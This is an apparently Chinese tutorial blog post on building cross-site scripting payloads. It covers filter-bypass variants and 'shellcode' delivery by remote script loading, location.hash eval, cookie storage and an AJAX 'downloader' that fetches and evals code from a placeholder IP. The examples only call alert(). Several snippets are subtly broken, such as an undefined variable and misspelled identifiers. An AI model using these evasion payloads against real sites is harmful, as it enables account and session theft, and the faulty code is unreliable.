XSS漏洞利用的构造方法,变形方式,Shellcode的调用

本文详细介绍了XSS(跨站脚本)攻击的各种构造方法,包括利用HTML标签、伪协议、事件触发和CSS,以及如何通过大小写转换、引号使用等变形技巧绕过过滤器。同时,探讨了Shellcode的调用方式,如远程加载JS、利用windows.location.hash和XSSDownloader。此外,还提到了将Shellcode存储在客户端技术,如HTTPCookie。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

XSS的构造方法

1.利用 <> 构造HTML/JS

2.伪协议

3.产生自己的事件

4.利用CSS跨站(old)

XSS常用标签

XSS的变形方法

1.大小写转换

2.引号的使用

3.用 / 代替空格

4.回车及Tab

5.对标签属性进行转码

6.拆分跨站

7.双写绕过

8.CSS中的变形

Shellcode 的调用

1.远程调用 JS

2.windows.location.hash

3.XSS Downloader

4.备选存储技术


XSS的构造方法

1.利用 <> 构造HTML/JS

        可以利用 <> 构造 HTML 标签和 <script> 标签

        在测试页面提交参数 <h1 style='color:red'>利用 <> 构造 HTML/JS </h1>

        提交 <script> alert(/xss/) </script>

2.伪协议

        可以使用 jacascript: 伪协议的方式构造 XSS

        javascript:alert(/xss/)

        提交参数 <a href=" javascript:alert(/xss/)"> touch me ! </a>,然后点击超链接,即可触发XSS

        也可以使用 img 标签的伪协议,但是这种方法在IE6下测试成功

        <img src=" javascript:alert(/xss/) ">

        

3.产生自己的事件

        "事件驱动"是一种较为经典的编程思想。在页面中会发生很多事件(比如鼠标移动,价盘输入等),JS可以对这类事件进行相应。所有我们可以通过事件触发JS函数,触发XSS

事件种类注释
Windows 事件对 Windows 对象触发的事件
Form 事件HTML 表单内的动作触发的事件
Keyboard 事件键盘按键
Mouse 事件由鼠标或类似用户动作触发的事件
Media 事件由多媒体触发的事件

                        例如:

<img src="./test.jpg" οnmοuseοver="alert(/xss/)">这个标签会引入一张图片,鼠标悬停在图片上时会触发XSS
<input type="text" οnkeydοwn="alert(/xss/)">点击键盘任意按键触发XSS
<input type="text" οnkeyup="alert(/xss/)">长按任意键停止时触发
<input type="button" οnclick="alert(/xss/)">点击按钮触发
<img src="x " οnerrοr="alert(/xss/)">文件加载错误触发(x 表示任意错误文件)

4.利用CSS跨站(old)

        可以利用CSS(层叠样式脚本)触发XSS,但是此方法比较古老,基本不适合现在主流的浏览器,但是从学习的角度,我们需要了解这种类型的XSS,以下代码在IE6下测试。

行内样式<div style="background-image: url(javascript:alert(/xss/))"></div>
页内样式<style> Body{background-image: url(javascript:alert(/xss/))} </style>
外部样式<link rel="stylesheet" type="text/css" href="./xss.css"><div>hello</div>
expression

<div style="width: expression(alert(/xss/))"></div>

<style> Body{background-image: expression(alert(/xss/));}</style>

import

<style> @import "javascript:alert(/xss/)";</style>

<style type="text/css"> @import url(xss.css);</style><div>AJEST</div>

                    xss.css文件内容

h1{
    color:red;
}
div{
    /*width:expression(alert(/xss/))*/
    background-image:url(javascript:alert(/xss/))
}

XSS常用标签

XSS常用标签

XSS的变形方法

我们可以构造的XSS代码进行各种变形,以绕过XSS过滤器的检测。变形方式主要有以下几种。

1.大小写转换

可以将payload进行大小写转换。例如:

<ImG SrC=' x ' οnerrοr="alert(/xss/)" />

2.引号的使用

HTML应用中对引号的使用不敏感,但是对某些过滤函数是“锱铢必较”

<img src=" x " οnerrοr=" alert(/xss/) " / >

<img src=' x ' οnerrοr=' alert(/xss/) ' / >

<img src=' x ' οnerrοr=alert(/xss/) / >

3.用 / 代替空格

<img/src=' x '/οnerrοr=' alert(/xss/) ' / >

4.回车及Tab

我们可以在一些位置添加 Tab(水平制表符) 和回车符,来绕过关键字检测,

<A hREf=" j

A        v

a        S

c        R

i        p

t        :

alert(/xss/) " > Click me ! </a>

5.对标签属性进行转码

        可以对标签属性值进行转码,用来绕过过滤。对象编码如下:

字母ASCII 码十进制编码十六进制编码
a97&#97;&#x61;
e101&#101;&$x65;

        另外,可以将以下字符插入到任意位置

Tab&#9;
换行&#10;
回车&#13;

        可以将以下字符插入到头部位置

SOH&#01;
STX&#02;

例:<A hREf=" &#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:alert(/xss/) "> Click me ! </a>

6.拆分跨站

<script> z='alert'</script>
<script> z=z+'(/xss/)'</script>
<script> eval(z) </script>

7.双写绕过

        <script>

        <scr<script>ipt>

8.CSS中的变形

        使用全角字符

        注释会被浏览器忽略

                width:expr/*~*/ession(alert(/xss/))

        样式表中的 \ 和 \0

                <style> @import ' javasc\ri\0pt:alert(/xss/) ' ; </script>

Shellcode 的调用

shellcode 就是在利用漏洞所执行的代码

完整的XSS攻击,会将 shellcode 存放在一定的地方,然后触发漏洞,调用 Shellcode。

1.远程调用 JS

可以将JS代码单独放在一个JS文件中,然后通过http协议远程加载该脚本。如

常用方法: <script src=" http://xxx.xxx.xxx.xxx/XSS-TEST/xss.js "></script>

xss.js内容:alert(/xss/);

2.windows.location.hash

我们也可以使用JS中的 windows.location.hash 方法获取浏览器 URL 地址栏的 XSS 代码

windows.location.hash 会获取 URL 中 # 后的内容,例如:http://domain.com/index.php # AJEST ,windows.location.hash 的值就 #AJEST

所以我们可以构造如下代码 ?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/ This is windows.location.hash /),直接提交到测试的页面xss.php

3.XSS Downloader

XSS 下载器是将 XSS代码写到网页中,然后通过 AJAX 技术,获取网页中的XSS代码

在使用 XSS Downloader 之前需要一个我们自己的页面,xss_downloader.php

                        xss_downloader.php

<?php

header(Access-Control-Allow-Origin:*);
header(' Access-Control-Allow-Headers"Origin,X-Requested-With,Content-Type,Accept ');

?>

# 实现跨域访问 AJAX 技术会验证同源策略

~~~~~~ BOF|alert(/xss/)|EOF ~~~~~~
                    常见的下载器


    <script>
        function XSS() {
            if (window.XMLHttpRequest){
                a = new XMLHttpRequest();
            }
            else if (windows.ActiveXObject){
                a = new ActiveXObject(" Microsoft.XMLHTTP ");
            }
            else {
                return;
            }
            a.open('get',' http://xxx.xxx.xxx.xxx/XSS_TEST/xss_downloader.php', false);
            a.send();
            eval(unescape(b.substitute(b.indexOf(' BOF|')+4,b.indexOf(' |EOF '))))
        }
        XSS();
    </script>

4.备选存储技术

我们可以把 Shellcode 存储在客户端的本地域中,比如HTTP Cookie ,Flash共享对象,UserData,localStorage 等。

以 HTTP Cookie 为例

点击 Cookie-XSS 验证,产生如下效果

<meta charset="utf-8">

<?php

    if (setcookie(" name " ," <script>alert(/xss/)</script> ")){
        echo " <a href='./xss.php' target='_blank'>Cookie-XSS 验证</a>a>";
    }
    else{
        echo "设置Cookie失败";
    }

?>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值